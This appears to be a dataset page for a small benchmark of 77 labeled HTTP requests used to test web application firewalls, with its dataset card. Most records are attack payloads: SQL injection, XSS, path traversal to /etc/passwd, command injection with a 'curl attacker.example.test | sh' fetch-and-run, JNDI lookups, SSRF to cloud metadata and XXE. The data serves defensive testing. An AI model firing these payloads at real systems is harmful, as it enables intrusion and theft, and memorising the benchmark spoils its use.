Dataset Viewer
Auto-converted to Parquet Duplicate
id
stringlengths
7
7
category
stringlengths
3
14
label
stringclasses
2 values
expected_action
stringclasses
2 values
method
stringclasses
2 values
path
stringlengths
1
18
query
unknown
headers
unknown
body
stringclasses
13 values
difficulty
stringclasses
3 values
evasion
stringclasses
14 values
owasp
stringclasses
5 values
notes
stringlengths
0
35
waf-001
sqli
malicious
block
GET
/products
{ "id": "1' OR '1'='1" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
classic tautology
waf-002
sqli
malicious
block
GET
/products
{ "id": "1 UNION SELECT username,password FROM users--" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
union-based
waf-003
sqli
malicious
block
GET
/search
{ "q": "x' AND SLEEP(5)--" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
time-based
waf-004
sqli
malicious
block
GET
/products
{ "id": "1 AND 1=CONVERT(int,(SELECT @@version))" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
error-based MSSQL
waf-005
sqli
malicious
block
POST
/login
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" }
user=admin'--&pass=x
easy
null
A03:2021-Injection
auth bypass comment
waf-006
sqli
malicious
block
GET
/products
{ "id": "1/**/UNION/**/SELECT/**/NULL,NULL" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
inline-comment
A03:2021-Injection
waf-007
sqli
malicious
block
GET
/products
{ "id": "1 uNiOn sElEcT 1,2,3" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
case-mix
A03:2021-Injection
waf-008
sqli
malicious
block
GET
/products
{ "id": "1%2527%2520OR%25201%253D1" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
double-url-encode
A03:2021-Injection
waf-009
sqli
malicious
block
POST
/api/orders
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"sort": "price; DROP TABLE orders--"}
medium
json-body
A03:2021-Injection
waf-010
sqli
malicious
block
GET
/products
{ "id": "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
null
A03:2021-Injection
error-based MySQL
waf-011
sqli
malicious
block
GET
/products
{ "id": "1' OR 1=1 -- -" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "127.0.0.1" }
null
easy
null
A03:2021-Injection
waf-012
xss
malicious
block
GET
/search
{ "q": "<script>alert(1)</script>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-013
xss
malicious
block
GET
/search
{ "q": "<img src=x onerror=alert(1)>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-014
xss
malicious
block
GET
/search
{ "q": "<svg/onload=alert(1)>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-015
xss
malicious
block
GET
/search
{ "q": "\"><script>alert(document.cookie)</script>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
attribute breakout
waf-016
xss
malicious
block
GET
/redirect
{ "u": "javascript:alert(1)" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-017
xss
malicious
block
GET
/search
{ "q": "%3CScRiPt%3Ealert(1)%3C/sCrIpT%3E" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
url-encode+case
A03:2021-Injection
waf-018
xss
malicious
block
GET
/search
{ "q": "<iframe srcdoc='&lt;script&gt;alert(1)&lt;/script&gt;'>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
html-entity
A03:2021-Injection
waf-019
xss
malicious
block
POST
/comments
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"text": "<details open ontoggle=alert(1)>"}
hard
uncommon-event-handler
A03:2021-Injection
waf-020
xss
malicious
block
GET
/search
{ "q": "<body onpageshow=alert(1)>" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-021
path_traversal
malicious
block
GET
/download
{ "file": "../../../../etc/passwd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A01:2021-Broken Access Control
waf-022
path_traversal
malicious
block
GET
/download
{ "file": "..\\..\\..\\windows\\win.ini" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A01:2021-Broken Access Control
waf-023
path_traversal
malicious
block
GET
/download
{ "file": "%2e%2e%2f%2e%2e%2fetc%2fpasswd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
url-encode
A01:2021-Broken Access Control
waf-024
path_traversal
malicious
block
GET
/download
{ "file": "....//....//etc/passwd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
nested-sequence
A01:2021-Broken Access Control
waf-025
path_traversal
malicious
block
GET
/download
{ "file": "%252e%252e%252fetc%252fpasswd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
double-encode
A01:2021-Broken Access Control
waf-026
lfi
malicious
block
GET
/page
{ "p": "php://filter/convert.base64-encode/resource=index" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A01:2021-Broken Access Control
waf-027
lfi
malicious
block
GET
/page
{ "p": "/proc/self/environ" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A01:2021-Broken Access Control
waf-028
rfi
malicious
block
GET
/page
{ "p": "http://attacker.example.test/shell.txt" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A01:2021-Broken Access Control
waf-029
cmd_injection
malicious
block
GET
/ping
{ "host": "8.8.8.8; cat /etc/passwd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-030
cmd_injection
malicious
block
GET
/ping
{ "host": "8.8.8.8 | id" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-031
cmd_injection
malicious
block
GET
/ping
{ "host": "$(whoami)" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-032
cmd_injection
malicious
block
GET
/ping
{ "host": "`uname -a`" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-033
cmd_injection
malicious
block
POST
/api/convert
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"file": "a.png && curl http://attacker.example.test/x|sh"}
medium
null
A03:2021-Injection
waf-034
cmd_injection
malicious
block
GET
/ping
{ "host": "8.8.8.8;c''at${IFS}/etc/passwd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
quote-and-IFS
A03:2021-Injection
waf-035
ssrf
malicious
block
GET
/fetch
{ "url": "http://169.254.169.254/latest/meta-data/" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A10:2021-SSRF
waf-036
ssrf
malicious
block
GET
/fetch
{ "url": "http://localhost:6379/" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A10:2021-SSRF
waf-037
ssrf
malicious
block
GET
/fetch
{ "url": "http://2130706433/" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
decimal-ip
A10:2021-SSRF
waf-038
ssrf
malicious
block
GET
/fetch
{ "url": "http://[::1]/admin" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
ipv6-loopback
A10:2021-SSRF
waf-039
ssrf
malicious
block
GET
/fetch
{ "url": "file:///etc/passwd" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A10:2021-SSRF
waf-040
ssrf
malicious
block
GET
/fetch
{ "url": "gopher://127.0.0.1:6379/_INFO" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A10:2021-SSRF
waf-041
xxe
malicious
block
POST
/api/import
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/xml" }
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
easy
null
A05:2021-Security Misconfiguration
waf-042
xxe
malicious
block
POST
/api/import
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/xml" }
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker.example.test/e.dtd">%d;]><r/>
medium
null
A05:2021-Security Misconfiguration
external DTD
waf-043
ssti
malicious
block
GET
/greet
{ "name": "{{7*7}}" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-044
ssti
malicious
block
GET
/greet
{ "name": "${7*7}" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A03:2021-Injection
waf-045
ssti
malicious
block
GET
/greet
{ "name": "{{config.__class__.__init__.__globals__}}" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-046
jndi
malicious
block
GET
/
{}
{ "Host": "shop.example.test", "User-Agent": "${jndi:ldap://attacker.example.test/a}" }
null
easy
null
A06:2021-Vulnerable Components
waf-047
jndi
malicious
block
GET
/
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "X-Api-Version": "${${lower:j}ndi:${lower:l}dap://attacker.example.test/a}" }
null
hard
lookup-obfuscation
A06:2021-Vulnerable Components
waf-048
nosqli
malicious
block
POST
/login
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"user": "admin", "pass": {"$ne": null}}
medium
null
A03:2021-Injection
waf-049
nosqli
malicious
block
GET
/users
{ "filter[$where]": "sleep(5000)" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-050
crlf
malicious
block
GET
/redirect
{ "u": "/home%0d%0aSet-Cookie:%20admin=1" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A03:2021-Injection
waf-051
open_redirect
malicious
block
GET
/redirect
{ "u": "//attacker.example.test" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
A01:2021-Broken Access Control
waf-052
scanner
malicious
block
GET
/
{}
{ "Host": "shop.example.test", "User-Agent": "sqlmap/1.7" }
null
easy
null
A05:2021-Security Misconfiguration
waf-053
scanner
malicious
block
GET
/
{}
{ "Host": "shop.example.test", "User-Agent": "Nikto/2.5.0" }
null
easy
null
A05:2021-Security Misconfiguration
waf-054
sensitive_file
malicious
block
GET
/.env
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A05:2021-Security Misconfiguration
waf-055
sensitive_file
malicious
block
GET
/.git/config
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A05:2021-Security Misconfiguration
waf-056
sensitive_file
malicious
block
GET
/wp-config.php.bak
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
A05:2021-Security Misconfiguration
waf-057
http_smuggling
malicious
block
POST
/
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Length": "4", "Transfer-Encoding": "chunked" }
0 GET /admin HTTP/1.1 Host: x
hard
null
A05:2021-Security Misconfiguration
CL+TE conflict
waf-058
benign
benign
allow
GET
/products
{ "id": "42" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-059
benign
benign
allow
GET
/search
{ "q": "red running shoes size 10" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-060
benign
benign
allow
GET
/search
{ "q": "O'Brien" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
null
null
apostrophe in name; FP trap
waf-061
benign
benign
allow
GET
/search
{ "q": "select the best union jacket" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
null
null
SQL keywords in prose; FP trap
waf-062
benign
benign
allow
GET
/search
{ "q": "1 < 2 and 3 > 2" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
medium
null
null
angle brackets in text
waf-063
benign
benign
allow
GET
/search
{ "q": "how to write a <script> tag" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
null
null
tutorial query; FP trap, borderline
waf-064
benign
benign
allow
POST
/comments
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"text": "Great product! Cost me $5 -- worth it; will buy again."}
hard
null
null
-- and ; in prose
waf-065
benign
benign
allow
POST
/login
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" }
user=alice&pass=P%40ssw0rd%21
easy
null
null
waf-066
benign
benign
allow
POST
/api/orders
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"items": [{"sku": "A1", "qty": 2}], "sort": "price_asc"}
easy
null
null
waf-067
benign
benign
allow
GET
/download
{ "file": "reports/2026/q3-summary.pdf" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-068
benign
benign
allow
GET
/download
{ "file": "my..file.txt" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
hard
null
null
double dot in filename
waf-069
benign
benign
allow
GET
/fetch
{ "url": "https://example.com/image.png" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-070
benign
benign
allow
GET
/redirect
{ "u": "/account/orders" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-071
benign
benign
allow
POST
/api/import
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/xml" }
<?xml version="1.0"?><order><id>7</id></order>
easy
null
null
waf-072
benign
benign
allow
GET
/greet
{ "name": "Jose Maria" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-073
benign
benign
allow
GET
/ping
{ "host": "example.com" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-074
benign
benign
allow
GET
/
{}
{ "Host": "shop.example.test", "User-Agent": "Googlebot/2.1 (+http://www.google.com/bot.html)" }
null
easy
null
null
waf-075
benign
benign
allow
GET
/api/users
{ "filter": "status:active", "limit": "20" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
waf-076
benign
benign
allow
GET
/search
{ "q": "café résumé 日本語" }
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0" }
null
easy
null
null
unicode
waf-077
benign
benign
allow
POST
/api/profile
{}
{ "Host": "shop.example.test", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }
{"bio": "I love C++ & Rust. Email: a@b.com"}
medium
null
null

Dataset Summary

A small, hand-curated benchmark of 77 labeled HTTP requests for evaluating Web Application Firewalls (WAFs) and ML-based request classifiers. Each record is a complete, replayable request labeled malicious or benign, with the expected WAF action, an OWASP Top 10 (2021) mapping, a difficulty rating, and the evasion technique used (if any). Benign records include deliberate false-positive traps (e.g. SQL keywords in prose, apostrophes in names).

Intended Uses

  • Measuring detection rate and false-positive rate of WAFs (ModSecurity/OWASP CRS, cloud WAFs, custom rules).
  • Regression-testing rule changes and paranoia-level tuning.
  • Quick sanity-check evaluation of ML classifiers for malicious request detection.

Out-of-Scope Uses

  • Not a substitute for a full security assessment or penetration test.
  • Not suitable as sole training data: the set is small and synthetic.
  • Payloads are detection strings, not working exploits; they should not be used to attack systems you do not own or have permission to test.

Dataset Structure

File: test.jsonl (one JSON object per line; loaded as the test split).

Field Type Description
id string Unique ID (waf-001 ...)
category string Attack class or benign
label string malicious or benign
expected_action string block (malicious) or allow (benign)
method string HTTP method
path string Request path
query object Query parameters (values are as sent, pre-encoding where the case is not an encoding test)
headers object Request headers
body string or null Raw request body
difficulty string easy, medium, or hard
evasion string or null Obfuscation technique, if used
owasp string or null OWASP Top 10 2021 mapping (malicious only)
notes string Free-text annotation

Example

{"id": "waf-001", "category": "sqli", "label": "malicious", "expected_action": "block", "method": "GET", "path": "/products", "query": {"id": "1' OR '1'='1"}, "headers": {"Host": "shop.example.test", "User-Agent": "Mozilla/5.0"}, "body": null, "difficulty": "easy", "evasion": null, "owasp": "A03:2021-Injection", "notes": "classic tautology"}

Statistics

  • Total: 77 (malicious: 57, benign: 20)
  • Records using an evasion technique: 14
Category Count
benign 20
sqli 11
xss 9
cmd_injection 6
ssrf 6
path_traversal 5
ssti 3
sensitive_file 3
lfi 2
xxe 2
jndi 2
nosqli 2
scanner 2
rfi 1
crlf 1
open_redirect 1
http_smuggling 1
Difficulty Malicious Benign
easy 27 13
medium 20 2
hard 10 5

Creation

Authored manually from widely documented attack patterns (OWASP Top 10, public WAF test corpora conventions). All hostnames use the reserved .test TLD or example.com. No real user data, credentials, or live targets are included.

Recommended Evaluation

Replay each request against the WAF under test (in a lab environment) and compare the outcome to expected_action. Report:

  • Detection rate (recall) on malicious records, overall and per category
  • False-positive rate on benign records
  • Results broken down by difficulty and evasion
  • Precision/F1 if comparing classifiers

Note that "block" should be defined up front (HTTP 403, anomaly score above threshold, etc.), and the WAF configuration (rule set version, paranoia level) should be reported alongside results.

Limitations and Biases

  • Small and uneven: 77 records; several categories have only 1-3 examples, so per-category rates are noisy.
  • Class imbalance: malicious records outnumber benign roughly 57:20; false-positive estimates have wide confidence intervals.
  • Single-request scope: no multi-step attacks, session state, rate-based or bot-behavior detection.
  • Synthetic traffic: does not reflect the distribution of real production traffic.
  • Borderline labels: a few benign items (e.g. a query about writing a <script> tag) are intentionally ambiguous; some teams may reasonably label them differently.
  • Coverage gaps: no GraphQL, WebSocket, deserialization, or file-upload payloads; HTTP smuggling is represented by one case.
  • Payload styles reflect common public techniques and may be outdated relative to current attacker tradecraft.

Ethical Considerations

Contents are limited to non-weaponized detection strings for defensive testing. Run replays only against systems you own or are authorized to test.

Downloads last month
-